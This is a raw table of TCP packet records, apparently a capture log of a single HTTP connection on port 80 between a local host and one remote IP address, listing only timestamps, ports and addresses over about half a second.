Jan 13, 2022 20:51:31.556272030 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.556313038 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.556679010 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.556746006 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.556793928 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.556786060 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.556838989 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.556862116 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.556880951 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.556927919 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.556957006 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.609210968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.609268904 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.609298944 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.609333992 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.609375954 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.609416008 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.613362074 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.613405943 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.613435030 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.613442898 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.613480091 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.613487959 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.617506981 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.617566109 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.617607117 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.617616892 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.617665052 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.617692947 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.617697001 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.617737055 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.617783070 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.617789030 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.617815018 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.617872953 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.617923021 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.617964983 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.617994070 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.618025064 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.618035078 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.618058920 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.618947983 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.618997097 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.619033098 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.619052887 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.619067907 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.619095087 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.619342089 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.619366884 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.619390965 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.619401932 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.619415045 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.619445086 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.619792938 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.619832993 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.619860888 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.664560080 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.664638042 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.664685965 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.664742947 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.664757013 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.664796114 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.672916889 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.673011065 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.673057079 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.673069954 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.673130035 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.673150063 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.673186064 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.673245907 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.673255920 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.673326015 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.673397064 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.673404932 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.673480988 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.673556089 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.673559904 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.673619986 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.673679113 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.673712969 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.673760891 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.673819065 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.673893929 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.673907042 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.673964024 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.673994064 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.674019098 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.674062014 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.674084902 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.674103975 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.674144983 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.674158096 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.674247980 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.674287081 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.674313068 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.674328089 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.674369097 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.674392939 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.674407959 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.674448967 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.674470901 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.674489975 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.674527884 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.674551964 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.719399929 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.719486952 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.719599962 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.730026007 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.730087042 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.730110884 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.730135918 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.730225086 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.730294943 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.730542898 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.730568886 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.730622053 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.733459949 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733504057 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733525038 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733546972 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733565092 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.733570099 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733592033 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733598948 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.733617067 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733638048 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733647108 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.733660936 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733669996 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.733684063 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733700037 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.733705044 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733726978 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733748913 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733757019 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.733771086 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733794928 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.733794928 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733815908 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733838081 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733839035 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.733882904 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.733886957 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733908892 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733931065 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733956099 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733958006 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.733978033 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.733995914 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.733999014 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.734023094 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.734042883 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.788911104 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.788981915 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.789030075 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.789047003 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.789074898 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.789146900 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.789357901 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.789401054 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.789431095 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.789441109 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.789479971 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.789499998 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.789760113 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.789807081 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.789876938 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.789904118 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.789988041 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.790030003 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.790043116 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.790083885 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.790105104 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.790129900 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.790168047 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.790193081 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.790726900 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.790780067 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.790818930 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.790818930 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.790868044 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.790884018 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.791861057 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.791910887 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.791949987 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.791953087 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.791991949 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.792004108 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.792853117 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.792901039 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.792942047 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.792951107 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.792996883 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.793025017 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.793036938 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.793076038 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.793092012 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.849425077 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.850970030 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.851020098 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.851039886 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.851062059 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.851150990 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.853655100 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.853691101 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.853712082 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.853739023 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.853766918 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.853790998 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.853790998 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.853817940 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.853827953 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.853842974 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.853857994 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.853909016 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.854038954 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.854065895 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.854090929 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.854116917 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.854127884 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.854162931 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.854279041 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.854382992 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.854408979 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.854433060 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.854446888 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.854482889 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.854806900 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.854835033 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.854861021 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.854885101 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.854897022 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.854937077 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.855067968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.855089903 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.855113983 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.855137110 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.855159044 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.855206966 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.855530977 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.855556011 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.855628014 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.909055948 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.909132957 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.909174919 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.909215927 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.909250021 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.909265041 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.909280062 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.909306049 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.909346104 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.909358978 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.909388065 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.909429073 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.909456968 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.909570932 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.909632921 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.909641981 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.909712076 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.909775019 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.909802914 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.909837008 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.909903049 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.909946918 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.909991026 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.910037041 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.910059929 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.910119057 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.910188913 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.910192966 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.910212994 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.910265923 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.910423040 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.910463095 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.910504103 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.910512924 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.910545111 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.910589933 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.910659075 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.910698891 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.910749912 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.910840034 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.910893917 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.910953999 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.911530972 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.911577940 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.911623955 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.911645889 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.911667109 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.911727905 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.911951065 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.912000895 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.912053108 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.912056923 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.912106991 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.912167072 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.965440989 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.965508938 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.965559959 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.965607882 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.965660095 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.965764046 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.966027021 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.966101885 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.966149092 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.966202021 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.966248989 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.966248035 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.966289997 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.966304064 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.966353893 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.966392040 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.966394901 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.966448069 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.966551065 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.966589928 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.966629982 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.966658115 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.966672897 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.966727972 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.021981001 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.022022009 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.022038937 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.022058964 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.022147894 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.022187948 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.022731066 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.022778034 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.022800922 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.022825956 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.022844076 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.022850990 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.022876978 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.022881031 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.022900105 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.022924900 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.022926092 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.022949934 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.022974014 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.022974968 CET	49845	80	192.168.2.5	45.135.233.182
